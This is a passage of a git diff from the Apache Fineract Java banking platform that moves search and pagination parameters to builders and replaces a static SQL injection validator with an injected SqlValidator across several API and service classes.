         JournalEntryAssociationParametersData associationParametersData = new JournalEntryAssociationParametersData(transactionDetails,
                 runningBalance);
 
@@ -246,7 +250,7 @@
             @QueryParam("entryId") final Long entryId, @Context final UriInfo uriInfo) {
         this.context.authenticatedUser();
         String transactionId = "P" + entryId;
-        SearchParameters params = SearchParameters.forPagination(offset, limit);
+        SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).build();
         Page<JournalEntryData> entries = this.journalEntryReadPlatformService.retrieveAll(params, null, null, null, null, null, null,
                 transactionId, PortfolioProductType.PROVISIONING.getValue(), null);
         final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java
index 603f652..dc19626 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java
@@ -264,7 +264,7 @@
             whereClose = " and ";
         }
 
-        if (searchParameters.isOfficeIdPassed()) {
+        if (searchParameters.hasOfficeId()) {
             sqlBuilder.append(whereClose).append(" journalEntry.office_id = ?");
             objectArray[arrayPos] = searchParameters.getOfficeId();
             arrayPos = arrayPos + 1;
@@ -272,7 +272,7 @@
             whereClose = " and ";
         }
 
-        if (searchParameters.isCurrencyCodePassed()) {
+        if (searchParameters.hasCurrencyCode()) {
             sqlBuilder.append(whereClose).append(" journalEntry.currency_code = ?");
             objectArray[arrayPos] = searchParameters.getCurrencyCode();
             arrayPos = arrayPos + 1;
@@ -339,7 +339,7 @@
             }
         }
 
-        if (searchParameters.isLoanIdPassed()) {
+        if (searchParameters.hasLoanId()) {
             sqlBuilder.append(whereClose)
                     .append(" journalEntry.loan_transaction_id  in (select id from m_loan_transaction where loan_id = ?)");
             objectArray[arrayPos] = searchParameters.getLoanId();
@@ -347,18 +347,18 @@
 
             whereClose = " and ";
         }
-        if (searchParameters.isSavingsIdPassed()) {
+        if (searchParameters.hasSavingsId()) {
             sqlBuilder.append(whereClose).append(
                     " journalEntry.savings_transaction_id in (select id from m_savings_account_transaction where savings_account_id = ?)");
             objectArray[arrayPos] = searchParameters.getSavingsId();
             arrayPos = arrayPos + 1;
         }
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
 
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
             }
@@ -366,9 +366,9 @@
             sqlBuilder.append(" order by journalEntry.entry_date, journalEntry.id");
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -502,10 +502,6 @@
 
     private Page<JournalEntryData> retrieveContraTransactions(final Long officeId, final Long contraId, final String transactionId,
             final String currencyCode) {
-        final Integer offset = 0;
-        final Integer limit = null;
-        final String orderBy = "journalEntry.id";
-        final String sortOrder = "ASC";
         final Integer entityType = null;
         final Boolean onlyManualEntries = null;
         final LocalDate fromDate = null;
@@ -513,11 +509,10 @@
         final LocalDate submittedOnDateFrom = null;
         final LocalDate submittedOnDateTo = null;
         final JournalEntryAssociationParametersData associationParametersData = null;
-        final Long loanId = null;
-        final Long savingsId = null;
 
-        final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
-                savingsId, currencyCode);
+        final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).officeId(officeId).offset(0)
+                .orderBy("journalEntry.id").sortOrder("ASC").currencyCode(currencyCode).build();
+
         return retrieveAll(searchParameters, contraId, onlyManualEntries, fromDate, toDate, submittedOnDateFrom, submittedOnDateTo,
                 transactionId, entityType, associationParametersData);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java
index 4cd899e..3ca1ba1 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java
@@ -31,7 +31,6 @@
 import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
 import org.apache.fineract.infrastructure.core.api.JsonCommand;
 import org.apache.fineract.infrastructure.core.domain.AbstractAuditableCustom;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
 
 @Getter
 @Setter
@@ -68,10 +67,7 @@
     public static AdHoc fromJson(final JsonCommand command) {
         final String name = command.stringValueOfParameterNamed(AdHocJsonInputParams.NAME.getValue());
 
-        String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
-
-        SQLInjectionValidator.validateAdhocQuery(commandQuery);
-        final String query = commandQuery;
+        final String query = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
         final String tableName = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLENAME.getValue());
         final String tableFields = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLEFIELDS.getValue());
         final String email = command.stringValueOfParameterNamed(AdHocJsonInputParams.EMAIL.getValue());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java
index 8f2c341..643809c 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java
@@ -21,6 +21,7 @@
 import java.util.Map;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
+import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
 import org.apache.fineract.adhocquery.domain.AdHoc;
 import org.apache.fineract.adhocquery.domain.AdHocRepository;
 import org.apache.fineract.adhocquery.exception.AdHocNotFoundException;
@@ -30,6 +31,7 @@
 import org.apache.fineract.infrastructure.core.exception.ErrorHandler;
 import org.apache.fineract.infrastructure.core.exception.PlatformDataIntegrityException;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.dao.DataIntegrityViolationException;
 import org.springframework.dao.NonTransientDataAccessException;
 import org.springframework.orm.jpa.JpaSystemException;
@@ -42,6 +44,7 @@
     private final PlatformSecurityContext context;
     private final AdHocRepository adHocRepository;
     private final AdHocDataValidator adHocCommandFromApiJsonDeserializer;
+    private final SqlValidator sqlValidator;
 
     @Transactional
     @Override
@@ -52,6 +55,10 @@
 
             this.adHocCommandFromApiJsonDeserializer.validateForCreate(command.json());
 
+            String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
+
+            sqlValidator.validate("adhoc", commandQuery);
+
             final AdHoc entity = AdHoc.fromJson(command);
             this.adHocRepository.saveAndFlush(entity);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java
index f70585d..d7bbae6 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java
@@ -26,6 +26,7 @@
 import org.apache.fineract.adhocquery.service.AdHocWritePlatformServiceJpaRepositoryImpl;
 import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
@@ -51,8 +52,8 @@
     @Bean
     @ConditionalOnMissingBean(AdHocWritePlatformService.class)
     public AdHocWritePlatformService adHocWritePlatformService(PlatformSecurityContext context, AdHocRepository adHocRepository,
-            AdHocDataValidator adHocCommandFromApiJsonDeserializer) {
-        return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer) {
+            AdHocDataValidator adHocCommandFromApiJsonDeserializer, SqlValidator sqlValidator) {
+        return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer, sqlValidator) {
 
         };
     }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java
index 4348650..9a17404 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java
@@ -49,6 +49,7 @@
 import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSerializer;
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.infrastructure.security.utils.SQLBuilder;
 import org.springframework.stereotype.Component;
 
@@ -73,6 +74,7 @@
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final DefaultToApiJsonSerializer<AuditData> toApiJsonSerializer;
     private final DefaultToApiJsonSerializer<AuditSearchData> toApiJsonSerializerSearchTemplate;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -106,7 +108,10 @@
             @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
 
         this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
-        final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
         final SQLBuilder extraCriteria = getExtraCriteria(actionName, entityName, resourceId, makerId, makerDateTimeFrom, makerDateTimeTo,
                 checkerId, checkerDateTimeFrom, checkerDateTimeTo, processingResult, officeId, groupId, clientId, loanId, savingsAccountId);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java
index bfad524..bf41138 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java
@@ -168,7 +168,7 @@
 
     @Override
     public Collection<AuditData> retrieveAuditEntries(final SQLBuilder extraCriteria, final boolean includeJson) {
-        return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.getCheckedLimit(null),
+        return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.DEFAULT_MAX_LIMIT,
                 includeJson);
     }
 
@@ -185,14 +185,14 @@
         sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
         sqlBuilder.append(rm.schema(includeJson, hierarchy));
         sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
-        if (parameters.isOrderByRequested()) {
+        if (parameters.hasOrderBy()) {
             sqlBuilder.append(' ').append(parameters.orderBySql());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
         } else {
             sqlBuilder.append(' ').append(' ').append(" order by aud.id DESC");
         }
 
-        if (parameters.isLimited()) {
+        if (parameters.hasLimit()) {
             sqlBuilder.append(' ').append(parameters.limitSql());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
         }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java
index f1f388b..353f56a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java
@@ -272,7 +272,7 @@
         if (officeId == null) {
             Boolean includeAllOffices = Boolean.TRUE;
             offices = (List) this.officeReadPlatformService.retrieveAllOffices(includeAllOffices,
-                    new SearchParameters(null, null, null, null, null, null, null, null, "id", "asc", null, null, null, null, null, null));
+                    SearchParameters.builder().orderBy("id").sortOrder("asc").build());
         } else {
             offices = new ArrayList<>();
             offices.add(this.officeReadPlatformService.retrieveOffice(officeId));
@@ -341,7 +341,7 @@
         if (officeId == null) {
             centers = (List<CenterData>) this.centerReadPlatformService.retrieveAll(null, null);
         } else {
-            SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+            SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
             centers = (List<CenterData>) centerReadPlatformService.retrieveAll(searchParameters, null);
         }
 
@@ -359,7 +359,7 @@
                 }
             }
         } else {
-            SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+            SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
             Page<ClientData> clientDataPage = this.clientReadPlatformService.retrieveAll(searchParameters);
             if (clientDataPage != null) {
                 clients = new ArrayList<>();
@@ -420,7 +420,7 @@
         if (officeId == null) {
             groups = (List<GroupGeneralData>) this.groupReadPlatformService.retrieveAll(null, null);
         } else {
-            SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+            SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
             groups = (List<GroupGeneralData>) groupReadPlatformService.retrieveAll(searchParameters, null);
         }
 
@@ -448,7 +448,7 @@
         if (officeId == null) {
             loanAccounts = loanReadPlatformService.retrieveAll(null).getPageItems();
         } else {
-            SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+            SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
             loanAccounts = loanReadPlatformService.retrieveAll(searchParameters).getPageItems();
         }
         return loanAccounts;
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java
index 15ca3df..d9c9690 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java
@@ -48,6 +48,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Component;
 
 @Path("/v1/email")
@@ -63,6 +64,7 @@
     private final DefaultToApiJsonSerializer<EmailData> toApiJsonSerializer;
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     public String retrieveAllEmails(@Context final UriInfo uriInfo) {
@@ -78,7 +80,10 @@
             @QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
 
         context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
-        final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         Collection<EmailData> emailMessages = readPlatformService.retrieveAllPending(searchParameters);
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
         return toApiJsonSerializer.serialize(settings, emailMessages);
@@ -91,7 +96,10 @@
 
         context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
 
-        final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         Collection<EmailData> emailMessages = readPlatformService.retrieveAllSent(searchParameters);
 
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -131,7 +139,10 @@
 
         context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
 
-        final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         Collection<EmailData> emailMessages = readPlatformService.retrieveAllFailed(searchParameters);
 
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java
index eac469e..1faf38a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java
@@ -58,6 +58,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Component;
 
 @Path("/v1/smscampaigns")
@@ -74,6 +75,7 @@
     private final DefaultToApiJsonSerializer<CampaignPreviewData> previewCampaignMessageDefaultToApiJsonSerializer;
     private final SmsCampaignWritePlatformService smsCampaignWritePlatformService;
     private final PlatformSecurityContext context;
+    private final SqlValidator sqlValidator;
 
     private static final String RESOURCE_NAME_FOR_PERMISSIONS = "SMS_CAMPAIGN";
 
@@ -142,7 +144,10 @@
     public String retrieveAllEmails(@QueryParam("offset") final Integer offset, @QueryParam("limit") final Integer limit,
             @QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
         platformSecurityContext.authenticatedUser().validateHasReadPermission(SmsCampaignConstants.RESOURCE_NAME);
-        final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         Page<SmsCampaignData> smsCampaignDataCollection = smsCampaignReadPlatformService.retrieveAll(searchParameters);
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
         return toApiJsonSerializer.serialize(settings, smsCampaignDataCollection);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java
index b802b19..48bb968 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java
@@ -94,9 +94,9 @@
         sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
         sqlBuilder.append(this.smsCampaignMapper.schema() + " where sc.is_visible = ? ");
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java
index 6a8601f..0a54f3e 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java
@@ -77,7 +77,7 @@
             @QueryParam("productId") @Parameter(description = "productId") final Long productId,
             @QueryParam("offset") @Parameter(description = "offset") final Integer offset,
             @QueryParam("limit") @Parameter(description = "limit") final Integer limit) {
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
         final Page<EntityDataTableChecksData> result = this.readEntityDatatableChecksService.retrieveAll(searchParameters, status, entity,
                 productId);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java
index 33a83f0..c1de71c 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java
@@ -24,7 +24,6 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Optional;
-import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
@@ -34,17 +33,23 @@
 import org.apache.fineract.infrastructure.dataqueries.service.export.DatatableReportExportService;
 import org.apache.fineract.infrastructure.dataqueries.service.export.ResponseHolder;
 import org.apache.fineract.infrastructure.report.annotation.ReportService;
-import org.apache.fineract.infrastructure.report.service.ReportingProcessService;
+import org.apache.fineract.infrastructure.report.service.AbstractReportingProcessService;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Service;
 
 @Service
 @ReportService(type = { "Table", "Chart", "SMS" })
-@RequiredArgsConstructor
 @Slf4j
-public class DatatableReportingProcessService implements ReportingProcessService {
+public class DatatableReportingProcessService extends AbstractReportingProcessService {
 
     private final List<DatatableReportExportService> exportServices;
 
+    public DatatableReportingProcessService(List<DatatableReportExportService> exportServices, SqlValidator sqlValidator) {
+        super(sqlValidator);
+
+        this.exportServices = exportServices;
+    }
+
     @Override
     public Response processRequest(String reportName, MultivaluedMap<String, String> queryParams) {
         boolean isSelfServiceUserReport = Boolean.parseBoolean(
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java
index 37e6049..495713c 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java
@@ -109,9 +109,9 @@
             paramList.add(productId);
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java
index 5cf2275..dea9013 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java
@@ -108,8 +108,8 @@
 import org.apache.fineract.infrastructure.dataqueries.exception.DatatableSystemErrorException;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
 import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
 import org.apache.fineract.portfolio.search.data.AdvancedQueryData;
 import org.apache.fineract.portfolio.search.data.ColumnFilterData;
 import org.apache.fineract.portfolio.search.service.SearchUtil;
@@ -148,6 +148,8 @@
     private final NamedParameterJdbcTemplate namedParameterJdbcTemplate;
     private final SqlInjectionPreventerService preventSqlInjectionService;
     private final DatatableKeywordGenerator datatableKeywordGenerator;
+    private final SqlValidator sqlValidator;
+    private final SearchUtil searchUtil;
 
     @Override
     public List<DatatableData> retrieveDatatableNames(final String appTable) {
@@ -185,7 +187,7 @@
     @Override
     public DatatableData retrieveDatatable(final String datatable) {
         // PERMITTED datatables
-        SQLInjectionValidator.validateSQLInput(datatable);
+        sqlValidator.validate(datatable);
         final String sql = "select application_table_name, registered_table_name, entity_subtype from x_registered_table "
                 + " where exists (select 'f' from m_appuser_role ur join m_role r on r.id = ur.role_id"
                 + " left join m_role_permission rp on rp.role_id = r.id left join m_permission p on p.id = rp.permission_id"
@@ -213,21 +215,21 @@
     public List<JsonObject> queryDataTable(@NotNull String datatable, @NotNull String columnName, String columnValueString,
             @NotNull String resultColumnsString) {
         datatable = validateDatatableRegistered(datatable);
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
                 .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
 
         List<String> resultColumns = asList(resultColumnsString.split(","));
-        List<String> selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
-        ResultsetColumnHeaderData column = SearchUtil.validateToJdbcColumn(columnName, headersByName, false);
+        List<String> selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
+        ResultsetColumnHeaderData column = searchUtil.validateToJdbcColumn(columnName, headersByName, false);
 
-        Object columnValue = SearchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
+        Object columnValue = searchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
         String sql = sqlGenerator.buildSelect(selectColumns, null, false) + " " + sqlGenerator.buildFrom(datatable, null, false) + " WHERE "
                 + EQ.formatPlaceholder(sqlGenerator, column.getColumnName(), 1, null);
         SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, columnValue); // NOSONAR
 
         List<JsonObject> results = new ArrayList<>();
         while (rowSet.next()) {
-            SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
+            searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
         }
         return results;
     }
@@ -240,12 +242,12 @@
         AdvancedQueryData request = pagedRequest.getRequest().orElseThrow();
         dataTableValidator.validateTableSearch(request);
 
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
                 .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
-        String pkColumn = SearchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
+        String pkColumn = searchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
 
         List<ColumnFilterData> columnFilters = request.getNonNullFilters();
-        columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
+        columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
 
         List<String> resultColumns = request.getNonNullResultColumns();
         List<String> selectColumns;
@@ -254,14 +256,14 @@
             selectColumns = new ArrayList<>();
             selectColumns.add(pkColumn);
         } else {
-            selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
